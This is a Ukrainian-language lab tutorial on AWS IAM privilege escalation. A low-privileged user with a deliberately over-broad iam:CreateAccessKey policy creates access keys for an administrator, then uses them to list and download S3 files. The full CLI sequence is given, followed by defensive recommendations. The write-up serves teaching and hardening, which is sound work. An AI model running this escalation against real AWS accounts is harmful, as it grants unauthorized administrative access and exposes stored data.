Хоча постачальники хмарних послуг відповідають за безпеку самої інфраструктури, клієнти несуть відповідальність за безпеку всього, що вони розгортають у хмарі, включаючи правильні конфігурації. У цій лабораторній роботі ми покажемо, як користувач IAM із низькими привілеями може зловживати дозволом iam:CreateAccessKey, коли йому дозволено створювати ключі доступу для іншого користувача IAM, який має розширені права, що призводить до ескалації привілеїв. Цей сценарій підкреслює поширену помилку в політиках IAM, яка може становити серйозну загрозу безпеці.

Зміст

• Про IAM:CreateAccessKey
• Налаштування лабораторії та попередні вимоги
• Частина 1: Налаштування лабораторії IAM
• Створення високопривілейованого користувача IAM
• Створення низькопривілейованого користувача IAM
• Частина 2: Перерахунок та експлуатація
• Попередні вимоги для пентесту
• Налаштування AWS CLI з обліковими даними низькопривілейованого користувача
• Перерахунок користувачів IAM за допомогою AWS CLI
• Експлуатація iam:CreateAccessKey
• Аналіз
• Рекомендації
• Висновок

Про IAM:CreateAccessKey

Дія API iam:CreateAccessKey дозволяє керувати обліковими даними користувачів AWS. У контексті безпеки AWS «зловживання дозволом iam:CreateAccessKey» означає техніку ескалації привілеїв, коли користувач із обмеженими правами створює ключі доступу для іншого користувача IAM (зазвичай з вищими привілеями), а потім використовує ці ключі для отримання несанкціонованого доступу.

Дія API CreateAccessKey генерує новий ідентифікатор ключа доступу (Access Key ID) та секретний ключ (Secret Access Key) для вказаного користувача IAM або для того, хто робить запит.

Налаштування лабораторії та попередні вимоги

• Акаунт AWS
• Віртуальна машина Kali Linux

Частина 1: Налаштування лабораторії IAM

Нижче наведено інструкції з налаштування середовища. Ми отримаємо доступ до консолі AWS, налаштуємо інтерфейс командного рядка AWS (CLI), створимо користувачів IAM та приєднаємо політику з дозволом CreateAccessKey.

Користувачі:

• lgt_admin: Високий рівень доступу (Адміністратор).
• lgt_raj: Базовий доступ, але з ризикованими дозволами.

Назва політики:

• Vuln_create_access_key: Дозволяє користувачеві створювати ключі доступу.

Створення високопривілейованого користувача IAM

Перейдіть до IAM > Users, потім натисніть Create user, щоб створити нову ідентичність IAM.

• Вкажіть ім’я користувача (User name, наприклад, lgt_admin) і натисніть Next, щоб перейти до налаштування дозволів.

• Для налаштування дозволів користувача lgt_admin виберіть параметр Attach policies directly (Приєднати політики безпосередньо) у розділі Permissions options.
• У розділі Permission Policies (Політики дозволів) виберіть AdministratorAccess.

AdministratorAccess — В AWS політика AdministratorAccess є вбудованою політикою, яка при приєднанні до користувача, групи або ролі надає повний доступ до всіх сервісів і ресурсів в акаунті. Таким чином, це робить даного користувача «високопривілейованою» ціллю для нашої лабораторної роботи.

Створення низькопривілейованого користувача IAM

• Створіть ще одного користувача IAM (наприклад, lgt_raj) та перейдіть до налаштування дозволів.

• Виберіть параметр Attach policies directly (Приєднати політики безпосередньо) у розділі Permissions options.
• Тепер натисніть Create Policy (Створити політику).

• Напишіть власну політику, щоб надати користувачу lgt_raj певні дозволи.

• iam:CreateAccessKey — Дозволяє створювати нові ключі доступу (Access Key ID / Secret Key) для вказаного користувача IAM.

• iam:ListUsers — Виводить список усіх користувачів IAM в акаунті AWS.

• iam:ListAttachedUserPolicies — Виводить список усіх керованих політик, приєднаних до конкретного користувача IAM.

• iam:GetUser — Отримує детальну інформацію про вказаного користувача IAM (або про самого себе, якщо користувача не вказано).

• iam:GetPolicy — Отримує метадані про керовану політику IAM.

• iam:GetPolicyVersion — Отримує документ конкретної версії керованої політики IAM.

{
              "Version": "2012-10-17",
              "Statement": [
                             {
                                           "Effect": "Allow",
                                           "Action": [
                                                          "iam:CreateAccessKey",
                                                          "iam:ListUsers",
                                                          "iam:ListAttachedUserPolicies",
                                                          "iam:GetUser",
                                                          "iam:GetPolicy",
                                                          "iam:GetPolicyVersion"
                                           ],
                                           "Resource": "*"
                             }
              ]
}

Ось як виглядає політика після додавання відповідних дій.

• Вкажіть деталі політики, такі як назва (Vuln_create_access_key) та опис, як показано на скріншоті.

• Призначте політику Vuln_create_access_key користувачеві lgt_raj.

• Нарешті, створіть ключі доступу (Create access key) для lgt_raj. Виберіть Command Line Interface (CLI) як сценарій використання (use case).

Частина 2: Перерахунок та експлуатація IAM

Чому дозвіл CreateAccessKey може використовуватися для іншого користувача IAM?

Іноді довіреному користувачу дозволяють генерувати ключі доступу для іншого користувача IAM у таких випадках:

• Аварійний доступ — коли адміністратор недоступний.
• Ситуації «Break-glass» — для термінових завдань із відновлення системи.
• Автоматизація — у скриптах, які керують ключами або виконують їх ротацію.

Примітка:

Дозвіл користувачам створювати ключі доступу для інших може призвести до ескалації привілеїв, це важко відстежити і це порушує принцип найменших привілеїв. Цей дозвіл слід використовувати з надзвичайною обережністю.

«Ми рекомендуємо покладатися на тимчасові облікові дані, а не створювати довгострокові, такі як ключі доступу. Замість цього використовуйте ролі для тимчасового доступу». AWS IAM Best Practices

Попередні вимоги

• Машина для пентесту: Kali Linux.
• Тестові облікові дані: Access Key + Secret + Region користувача lgt_raj.
• Інструменти: AWS-CLI (sudo apt install awscli).

Налаштування AWS CLI з обліковими даними низькопривілейованого користувача

Налаштуйте профіль AWS CLI, використовуючи дані користувача lgt_raj.

Програма запропонує ввести AWS Access Key ID, AWS Secret Access Key та регіон за замовчуванням.

aws configure set profile.Igt_raj.aws_access_key_id <rajUser_AccessKey>
aws configure set profile.Igt_raj.aws_secret_access_key <rajUser_SecretKey>
aws configure set profile.Igt_raj.region us-east-1

Виконання команди get-caller-identity повертає деталі профілю, такі як ID користувача та ARN. Зверніть особливу увагу на ARN, оскільки він унікально ідентифікує ресурс.

aws sts get-caller-identity --profile Igt_raj

Перерахунок користувачів IAM за допомогою AWS CLI

Починаємо справжню гру. Виконайте наступну команду — вона виведе список усіх користувачів IAM в акаунті AWS.

aws iam list-users --profile Igt_raj

Далі ідентифікуємо приєднані політики. Наступна команда показує, що користувач lgt_raj має приєднану політику CreateAccessKey, що вказує на можливий ризик ескалації привілеїв.

aws iam list-attached-user-policies --user-name Igt_raj --profile Igt_raj

Використовуйте наступну команду, щоб отримати метадані політики, включаючи її ARN та ID версії за замовчуванням (v2). Це вказує на те, що політика була оновлена, і саме версію v2 слід вивчати для аналізу чи експлуатації.

aws iam get-policy --policy-arn arn:aws:iam::513869214449:policy/Vuln_create_access_key --profile Igt_raj

Виконання цієї команди покаже всі дії (actions), ефекти (effects) та фактичний зміст політики.

aws iam get-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_create_access_key --version-id v2 --profile Igt_raj

Експлуатація IAM CreateAccessKey

Тепер спробуємо виконати команду для створення нового користувача.

aws s3 ls --profile Igt_raj

Ця дія буде відхилена (Denied), оскільки жодна політика, заснована на ідентичності, не дозволяє цього.

Наступний крок — це реальна експлуатація політики CreateAccessKey. Ми робимо запит на отримання довгострокових облікових даних для користувача lgt_admin.

aws iam create-access-key --user-name Igt_admin –profile Igt_raj

Тепер ми налаштуємо наші облікові дані AWS CLI відповідно до отриманих вище результатів (використовуючи Access Key ID та Secret Access Key адміністратора lgt_admin).

aws configure

Знову скористайтеся цією командою, щоб перевірити, чи все працює. Цього разу операція пройде успішно, оскільки тепер ми діємо з правами адміністратора.

aws s3 ls

Виведіть список ваших S3-кошиків (buckets). Тут у виводі ви можете побачити текстові файли:

aws s3 ls s3://igt-bucket

Завантажте текстовий файл на свою локальну машину:

aws s3 cp s3://igt-bucket/proof.txt file_admin.txt

Виведіть вміст файлу на екран:

cat file_admin.txt

Аналіз

Ця лабораторна робота підсвічує типову прогалину в безпеці — надмірно поблажливі політики IAM, у яких відсутні належні обмеження. Такі конфігурації можна легко експлуатувати, якщо їх ретельно не перевіряти та не контролювати. Вектор ескалації привілеїв був наступним:

lgt_raj → list-users / get-user → Наявність дозволу CreateAccessKey → create-access-key на користувача-адміністратора → Отримання облікових даних Admin → Налаштування CLI → Отримано доступ адміністратора

Такі помилки конфігурації можуть виникати через:

• Надмірно поблажливі політики довіри без обмежень на рівні ресурсів (“Resource”: ”*”).
• Неналежний розподіл ролей.
• Порушення принципу найменших привілеїв (Least Privilege Principle).

Рекомендації

• Обмеження прав: Уникайте надання користувачам дозволу iam:CreateAccessKey щодо інших осіб, якщо це не є абсолютно необхідним.
• Тимчасові дані: Використовуйте тимчасові облікові дані за допомогою sts:AssumeRole.
• Логування та алертинг: Моніторьте створення нових ключів за допомогою AWS CloudTrail та налаштовуйте сповіщення (alerts) на підозрілі дії.
• Політики керування сервісами: Використовуйте Service Control Policies (SCPs) для глобальних обмежень в організації.
• Уникайте вайлдкардів: Ніколи не використовуйте Resource: ”*” у критичних політиках IAM.

Висновок

Дана лабораторна робота успішно демонструє сценарій ескалації привілеїв в AWS за допомогою iam:CreateAccessKey та надмірно поблажливої політики довіри. Вона підкреслює необхідність обережного та суворого впровадження політик дозволів у хмарних середовищах.